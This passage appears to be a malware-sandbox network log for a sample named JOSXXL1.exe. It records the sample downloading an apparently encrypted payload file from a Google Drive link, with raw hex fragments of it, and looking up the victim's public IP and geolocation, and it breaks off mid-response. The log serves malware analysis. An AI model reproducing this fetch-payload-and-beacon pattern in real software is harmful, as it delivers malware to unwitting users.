Oct 26, 2024 23:57:29.307995081 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:29 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0438c5c15c6bebe98b600e160ea76bca Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	61970	193.122.130.0	80	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 23:57:30.098470926 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 26, 2024 23:57:30.792260885 CEST	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:30 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9629954719db26f968ddc2c33c9db823 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	61847	142.250.185.238	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:11 UTC	216	OUT	GET /uc?export=download&id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-10-26 21:57:11 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 26 Oct 2024 21:57:11 GMT Location: https://drive.usercontent.google.com/download?id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-O0TpBC-RwQLqnQBFKUsLLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	61854	142.250.181.225	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:12 UTC	258	OUT	GET /download?id=1TQCyESnrOdUT1AguOSyvjh_GMhxmIcz2&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-26 21:57:15 UTC	4907	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="XADxc144.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275520 Last-Modified: Wed, 23 Oct 2024 17:37:54 GMT X-GUploader-UploadID: AHmUCY35Inz-IHd0lpbVRmAq5usplkGviM_86Ze_nD1it84WHjZW2FPfGMmrhcEmHsRXSMhCGmk Date: Sat, 26 Oct 2024 21:57:14 GMT Expires: Sat, 26 Oct 2024 21:57:14 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=pJsuIw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-26 21:57:15 UTC	4907	IN	Data Raw: e9 11 4e a6 f3 bd 4f f8 a8 41 8f 9b 63 10 0e e9 a8 71 8d d4 48 17 2b 5f 18 f9 d9 30 4e ce eb 03 84 b2 5f b9 2f 69 4c 31 2f 34 5e 41 28 1c 5c ff be 87 9e 4d 58 73 7b 02 a8 67 e6 b5 c0 48 d5 f6 2c 49 20 c0 2f e5 8a 7b 6a 04 df 05 0d 19 81 4b 6b 6e 98 44 af 3d b6 6c c6 12 ba e0 4e c7 0b bc f9 5c 3d a0 53 a5 1e c5 03 38 02 df 48 1c f0 46 c5 5d dd 3c 0a 39 38 c4 6b da ec c3 6c bf dc 55 c8 0d 40 5b 97 b9 bc 54 91 39 0c f7 05 95 0a 6d 45 9b ad 1e 9a 50 ea b4 ca 74 8b a4 e9 7e 39 81 8f a6 55 40 ac fe 63 a4 a8 75 39 83 52 71 40 8d 66 5b 66 06 75 b4 3a 8e 46 41 28 ad 4b 07 32 a3 95 fb f2 11 28 f7 c6 f1 c1 30 b6 03 7b b5 32 c6 98 99 92 00 25 22 f1 dc 76 72 16 84 b1 0b 6b a7 6d 68 0a 8b 0f 70 30 76 69 a2 e5 18 55 22 2c b9 e7 49 55 74 25 8d e9 f8 ec 2a 50 7f 45 83 b0 Data Ascii: NOAcqH+_0N_/iL1/4^A(\MXs{gH,I /{jKknD=lN\=S8HF]<98klU@[T9mEPt~9U@cu9Rq@f[fu:FA(K2(0{2%"vrkmhp0viU",IUt%*PE
2024-10-26 21:57:15 UTC	4890	IN	Data Raw: 59 ee ea 8b 1b 2d 9d 81 79 cb 88 1c 5d a3 ca e0 03 88 23 00 02 63 51 aa 38 84 4a 23 28 ad 41 d9 32 a3 ef be f2 50 28 f6 c5 f3 18 b5 26 3f 7b b5 32 f1 99 99 92 91 c4 22 f3 d3 7d 73 46 84 b1 15 6f a5 6d 7c 0a 26 0e 70 30 6d 67 9e e1 d0 54 02 2c b7 e7 09 51 74 25 8d a9 f8 ec 0a 50 7e 45 81 b0 d1 14 c4 9b f7 da 59 bf dd 2a 74 27 82 3b 77 6f 8e 86 10 6d a2 c4 57 2b f8 f4 a2 55 1d f4 fc c2 5f a9 38 06 10 95 d6 9d 5e 5c 70 10 6e 5c 92 ea fb e5 49 f7 be f7 22 83 8c 20 a9 49 f7 ce ea ba b8 04 ef c3 80 e8 b6 ef 9e 55 65 9f 42 40 5b fb fb 73 9e cf 3b e8 44 6a 85 66 34 9d 69 e2 6a 01 68 83 00 22 f7 eb 2f a3 dc 1c dc 37 b3 e7 c6 13 a8 6b b1 0f 26 0b 82 80 ab 12 ab fa 6e c7 6f 66 50 0b a9 28 0f 20 6d 55 0c 5d e7 75 be 09 0c b9 8b a1 bc dd b3 61 63 54 39 ba a3 5e c7 b6 Data Ascii: Y-y]#cQ8J#(A2P(&?{2"}sFom\|&p0mgT,Qt%P~EY*t';womW+U_8^\pn\I" IUeB@[s;Djf4ijh"/7k&nofP( mU]uacT9^
2024-10-26 21:57:15 UTC	1317	IN	Data Raw: 24 74 13 e0 94 8b 5f 09 b5 e4 23 8d 9a 94 35 4b f7 cf fb f0 b8 04 e1 b1 e6 ff d9 f9 88 7d ee 98 2d 2d 4d 05 f0 0f f1 de 3c db 78 6b f6 0f 34 89 9d f7 53 01 79 81 7b f5 84 81 25 8b 17 0f d9 3d a2 91 77 78 a8 61 a8 14 31 12 fa b8 c4 7e af 89 a7 c7 b1 62 3f de af 04 0d 31 7a 32 62 98 e7 7f b4 ab 20 bd e4 c8 d3 1b b9 6c b7 5a 28 a3 d4 f5 df a7 98 dc 09 b2 80 bb b8 bb 58 5e c4 21 75 ab 45 89 74 8b 2c 48 8f 06 c3 81 7a b4 6e 06 01 40 25 a5 d9 82 11 2e de 28 78 39 af 65 23 6e 53 3f 5c fb f5 42 06 ca 2d a0 31 1a f0 62 1a 0b ad 07 0c ac 05 73 db 28 2a 34 7d fe 99 a7 b0 5e 26 9c c0 40 be 54 35 83 d8 ab 43 fd 65 ef 17 29 3b 58 c1 d2 99 29 72 88 e7 f6 ff 9d 42 2e 41 fa d1 b8 82 26 d2 78 e5 bc a0 9b 6b 2e 04 0c 91 2d 1f 14 8b b6 c9 cd c2 fd 1c 91 1c fe 22 af cb eb 54 Data Ascii: $t_#5K}--M<xk4Sy{%=wxa1~b?1z2b lZ(X^!uEt,Hzn@%.(x9e#nS?\B-1bs(*4}^&@T5Ce);X)rB.A&xk.-"T
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: fd 6c 9e e3 06 ac 86 eb f7 9e d0 b6 a8 49 6f c4 28 5e fa d8 3d 9f b8 31 ee a1 ad a9 7b 7e 42 c3 36 ac b2 ab ea 8a 0b cc 2c aa 05 f2 ec ee 17 d3 6e 92 57 8e 26 3b 2c 86 12 bb c5 58 b5 ea ae f9 2c 9f 85 44 8d aa c5 03 32 a0 fa 50 6e a5 49 c5 2d 7f 19 13 47 00 c4 6b de 4e e6 f6 cd ed 56 c6 62 58 7d e2 0d b5 93 a3 a3 1b 93 be b4 5e 0f 2c c8 8d 62 e8 3f a5 b1 ab 19 a1 c7 88 6e 68 ee fb 82 26 04 fe 83 05 ca f8 62 48 a3 16 3a 3b e4 0b 34 08 72 79 c7 77 84 62 45 00 93 4b 07 34 a3 1b ae d7 39 50 f6 c5 fb 0b 96 26 4d 19 b5 32 cc 46 99 92 00 c5 5c c4 dd 7d 77 34 11 b3 15 1f b1 45 fd 0a 8b 05 66 ce 77 74 ba f0 3c 79 5e 31 34 a7 09 51 75 00 9b db c3 e3 0a 20 dd 60 96 98 b2 15 c4 91 8d fe 41 cd 98 25 74 57 65 1e 6e 10 ad b6 13 69 b1 e1 4d 59 92 fb a2 34 bf d1 cf df 75 Data Ascii: lIo(^=1{~B6,nW&;,X,D2PnI-GkNVbX}^,b?nh&bH:;4rywbEK49P&M2F\}w4Efwt<y^14Qu `A%tWeniMY4u
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: 02 3e 5d fa ab 95 d0 b9 c4 38 cc dc cf 63 03 a2 d4 16 fa 1a e2 31 de 3b 70 6e 2c e2 78 d1 cc 93 d2 f8 7e 26 e4 b3 29 60 70 ee 04 dd 03 1d a6 be e6 ea 03 3a 59 7b 83 9e 55 85 dd fe a0 c9 7d 71 b4 91 fa 2d 55 f7 37 f0 93 bf 14 44 12 5d fb e3 d5 e6 ea 52 ce a4 a6 37 96 ac 01 03 ae 0f 16 f6 ff c8 77 ef 0a c4 14 35 16 b2 34 01 2f 52 c3 b3 c6 ea 5f 19 ed fd 3f c8 42 a8 c2 9b 2d f7 08 a1 e8 5b 3a fe 39 ad 90 88 19 88 66 11 d5 a0 ef 35 8a e9 25 5e ff 2f 34 18 d0 59 27 ba e3 6e b9 0c 08 fb 0a 6a e9 74 5b 0a d2 89 94 cf bc bd f5 1a ac df 7d 48 f8 b4 a4 4f 69 c8 4a 5e 81 26 25 1d cb e9 0a ce ca e8 25 cb 02 3c 7e 93 47 cb 7f fd bd 30 67 f7 49 d2 f9 85 8e a8 4d 43 8d 0d 44 82 b2 3e e1 fe 93 cb be a1 9c 6a 7e 36 77 3b 31 c0 2c ef 9c 85 6f 17 d2 14 ff df 58 4b d3 6e 8e Data Ascii: >]8c1;pn,x~&)`p:Y{U}q-U7D]R7w54/R_?B-[:9f5%^/4Y'njt[}HOiJ^&%%<~G0gIMCD>j~6w;1,oXKn
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: 21 80 f0 42 02 d9 23 d1 2a 78 3f 21 a3 fa 5b dc 69 5d d4 09 bb 87 f0 50 12 04 63 2d 39 5a f8 bc 58 16 ad 22 9c 5b 82 cf 77 8c cf dd 92 70 5f 82 43 a8 5c e8 98 fa 78 8c f6 89 ad 0e dd 79 a2 60 71 b4 4a e6 e4 62 4f 9c ef e7 f9 f1 f0 e4 72 28 2b 40 49 59 89 7f d3 0c b1 be 4c 4d 2e e7 e5 e4 ba b2 3d 7e 33 5f 80 77 ae 32 98 1d 24 d1 30 ea ac 97 83 74 9b 66 83 b4 6b 93 ab 1c 68 5b e4 57 a5 46 69 df f8 bb d4 05 f4 e2 ac 01 a5 f5 79 53 ab c2 f4 0e 20 ec bd 50 ff 43 a1 2d b0 e9 fa 33 65 a7 2f 54 75 3b d1 60 6e 18 a0 7e b2 f4 af 13 45 e3 13 49 99 7e 38 8b 63 70 4b 1b c9 67 f8 8e b7 d2 2e 36 e6 14 21 c3 49 52 57 4d cc d0 b9 6d fd fe 9a da a6 ae 1d d5 a8 f7 1d 28 a6 76 37 93 85 9b 3e d4 58 d5 5a 31 f3 b5 d1 cc 9d ac 11 11 f5 ee 11 06 7c 7c e7 10 dd 77 cc 47 cb e6 e0 Data Ascii: !B#*x?![i]Pc-9ZX"[wp_C\xy`qJbOr(+@IYLM.=~3_w2$0tfkh[WFiyS PC-3e/Tu;`n~EI~8cpKg.6!IRWMm(v7>XZ1\|\|wG
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: d2 1e e7 49 75 4a 41 56 e1 c7 a4 e4 41 4f c5 5f 49 38 79 99 ea 10 36 5f f0 27 d2 77 03 18 f4 41 84 4e a9 99 ce ca 6b 1d ea 17 a8 80 52 7a 5b 0e e5 a4 90 a9 cf f1 63 1a 3c eb d7 fd 7b 02 b1 2f bf 28 e7 95 2f 55 2c f6 ec 2f 7e 79 86 eb 5f 92 04 36 da 12 ec ba 43 6c d5 5b 2c eb b0 2f b0 53 c6 c0 38 d0 e5 e1 f0 fe 37 92 14 58 a2 81 2c 98 4e ae 1f 2c 7a aa 8c 1f d7 cc a6 85 20 71 3c 41 8d 34 76 f2 d8 e9 96 47 03 c4 34 ac fe 77 ca 88 27 ae d2 9d 6d f9 60 c0 dd 81 33 3a 68 c5 6f 90 73 e3 ce e4 86 88 14 09 bb 35 2d ff 62 10 61 fe 5b db dc 8a 40 99 b2 75 68 60 5f 32 cd 99 41 43 bf 91 e4 4a 51 78 35 8a 07 1b 54 f4 2e 51 b9 b2 3c 1e df 32 cb 54 82 17 65 a9 88 07 dd b4 ac c3 21 3a a2 d8 6e 04 fa 6a 34 20 63 72 d9 58 16 d9 cf 9c 5b 86 bd e2 f0 fb ad 84 5c ac 17 41 a2 Data Ascii: IuJAVAO_I8y6_'wANkRz[c<{/(/U,/~y_6Cl[,/S87X,N,z q<A4vG4w'm`3:hos5-ba[@uh`_2ACJQx5T.Q<2Te!:nj4 crX[\A
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: 88 22 ce 70 1b 54 e0 7f 2e 4a 2c c2 90 51 93 dd 00 22 f0 93 71 dc 5d 21 d8 29 96 66 d2 29 d2 06 bf 73 ec b9 1d 96 c9 87 62 06 66 8a a1 77 39 99 2a d6 65 92 ed cb 46 10 b3 55 58 83 e0 0d 62 06 81 a6 6f 41 8c b4 14 df 41 89 20 ce 3a a6 fc 3b 25 8b 58 75 08 96 ed 48 5e c3 90 ac 9a 11 d8 56 40 1e 1f 07 dc b6 26 79 d9 32 d3 c8 9a 36 a1 b5 d5 ee 5c a1 b2 dc 96 a2 f7 01 84 b4 a7 52 db 10 ed 6b e7 cc a7 85 44 06 85 3c 47 23 4b 70 c3 f0 b0 5b 9e d4 c9 b3 10 1e 31 9c cb 6b e7 7f 83 be 98 1b df 24 4d ed 79 e6 10 bc 24 fb 9f 03 8e 98 bc 7c f7 0c 47 7e 2f a4 80 1a 6d 01 ea f9 9a fd 54 e4 5f 5a 58 52 61 20 55 30 b4 ed d6 c2 60 3a 3a dc 40 41 4d f5 c6 38 b8 2e 34 c4 7a 55 59 4d 9e f6 0f 3f 7a e7 05 66 66 19 7d fc 64 9c 36 fc 87 d5 d5 12 38 f3 63 90 80 6a bd f9 2b ff d6 Data Ascii: "pT.J,Q"q]!)f)sbfw9*eFUXboAA :;%XuH^V@&y26\RkD<G#Kp[1k$My$\|G~/mT_ZXRa U0`::@AM8.4zUYM?zff}d68cj+
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: 9d a7 8b e5 9c 6d ad bd ce b7 83 50 b2 75 af f1 bf 4f fd 49 96 cf f2 44 54 a0 61 68 89 17 9f 75 7b f4 50 ca df e9 6b 4a 3f 4b 6e e8 e0 c9 19 55 55 5b df 92 39 3a 51 f7 ff 07 e6 88 8f 0e de 6e 16 a4 4a 27 92 93 a2 dd c0 a2 53 e9 80 9a a6 43 8e dc 49 c2 e7 2a cf 95 e3 32 d2 83 6b 92 65 4f cd 34 53 33 5e e0 16 62 4e c4 76 b3 7b a7 0f 85 e2 2a c4 f4 8b 2b 26 c3 77 6a 7c 46 b7 6d 97 7d c9 b9 9e cc 5f 96 0f e1 85 33 28 07 fb 65 a8 c1 3b 59 2f 42 bf 6a 09 38 66 d5 1e 09 2e ca f3 e6 28 d6 99 28 23 9a 6d c1 5d c7 68 96 75 c2 9b e6 1e 7c 1b 97 a6 d3 ee 06 38 d8 3a da e4 7e eb 39 99 ca ad e1 dd 0a d2 83 90 b7 25 87 2b 88 26 bb 8a a6 54 90 63 0b c2 24 d4 92 c9 04 b3 4d 07 e1 bc 5d 89 2f 06 98 29 9c 67 29 33 a0 26 85 74 95 74 39 81 e1 39 62 da b2 3b a1 47 7f cc 25 dc Data Ascii: mPuOIDTahu{PkJ?KnUU[9:QnJ'SCI2keO4S3^bNv{+&wj\|Fm}_3(e;Y/Bj8f.((#m]hu\|8:~9%+&Tc$M]/)g)3&tt99b;G%
2024-10-26 21:57:15 UTC	1378	IN	Data Raw: 1b 07 31 6f 12 44 5d e7 75 cc dc 0c bd 94 bf 6e dd b9 66 d2 89 39 ab ac 72 b1 9b e8 f4 b9 c1 49 b1 ca 2c 5b 4f ca 38 2e ab 41 f1 8e 4e 2c 38 93 2e 53 89 67 33 38 f8 00 52 12 a2 b9 95 12 3f bf 9d 32 e4 87 d1 29 6e 59 b6 72 e3 96 06 1f a5 97 02 14 09 8e 5a 0b 1a d7 9b 29 b6 73 22 1f 28 5a 9c 37 29 e7 8d ba 5e 33 2f 9b 66 cc d3 3e fd 93 09 6b 8c 16 53 1d 46 f9 37 0c d8 99 5d 4e 99 f6 e3 80 3b 8c 2e 4b e3 d8 d7 bf 49 1d 7c 97 23 a2 45 0b 1d 04 b9 91 2d 1f 11 66 b7 f2 a5 d3 f7 3a 43 0d f7 35 c0 01 eb 2a b9 67 94 6a 6e 01 1e 18 0c 83 2f 51 a8 37 3d 28 43 e3 26 5e c8 15 70 b1 eb 0a 24 cb c8 b4 77 de c9 7b 51 18 4a 96 2a bb 47 b9 7b a0 1f bc 9e 9f f2 e7 cf f8 b3 98 fb 8d eb b9 74 a9 64 26 f5 6a ca dc af c8 5d 06 cc 20 68 fe 50 30 70 4d 7a 69 4a b5 77 4e 7b 3d 7b Data Ascii: 1oD]unf9rI,[O8.AN,8.Sg38R?2)nYrZ)s"(Z7)^3/f>kSF7]N;.KI\|#E-f:C5gjn/Q7=(C&^p$w{QJG{td&j] hP0pMziJwN{={

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	61896	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:19 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-26 21:57:20 UTC	881	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IQpqfqPOZ5gLAtm%2F0P6KIOAAo7wJUYQS2nSgEUOqeysHJaUByCmypxmR%2BvqM9nUEpZo95bXpsuPW8GNUikkz5MTEAB25sEX6WGX5Dxr22o41WJ0Ukvhcrc4jPynoQ9t3vC5yBGNP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db38d69946bae-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1145&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2462585&cwnd=251&unsent_bytes=0&cid=05e91c15d89abf28&ts=462&x=0"
2024-10-26 21:57:20 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	61902	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:20 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:21 UTC	894	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p%2BuAGPRwN1ik%2BEoLXmjWp4mpJUTEcNRXiSJ%2FOhIfLtoGRSc1Tn59SZ4YO2ZleNcKsga%2FhNoCNjrQU2kRTOiYdGbfX4FazO2VCvLDGXjEqBXk2vLYzzJPu3g%2FxnNWF6e1VB81G9mx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3969e373abb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1290&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2371826&cwnd=251&unsent_bytes=0&cid=e5e19ee2bfed5da7&ts=191&x=0"
2024-10-26 21:57:21 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	61913	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:22 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:22 UTC	890	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:22 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 3 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EHiisrZQgVARELdXGDRT1odpP9K7Ufl%2FjLrHU0pgXUYZSwCeBl%2Ft0qvciXYORTuCBJyTkKj%2B5UagQZw7camOSGHB6PjgcfSqGsyZX2r4ZUj0LB5UJw7OJsrbYxJi8MW4UvRl9w7N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db39fea376bc6-DFW alt-svc: h3=":443"; ma=86400 server-timing: 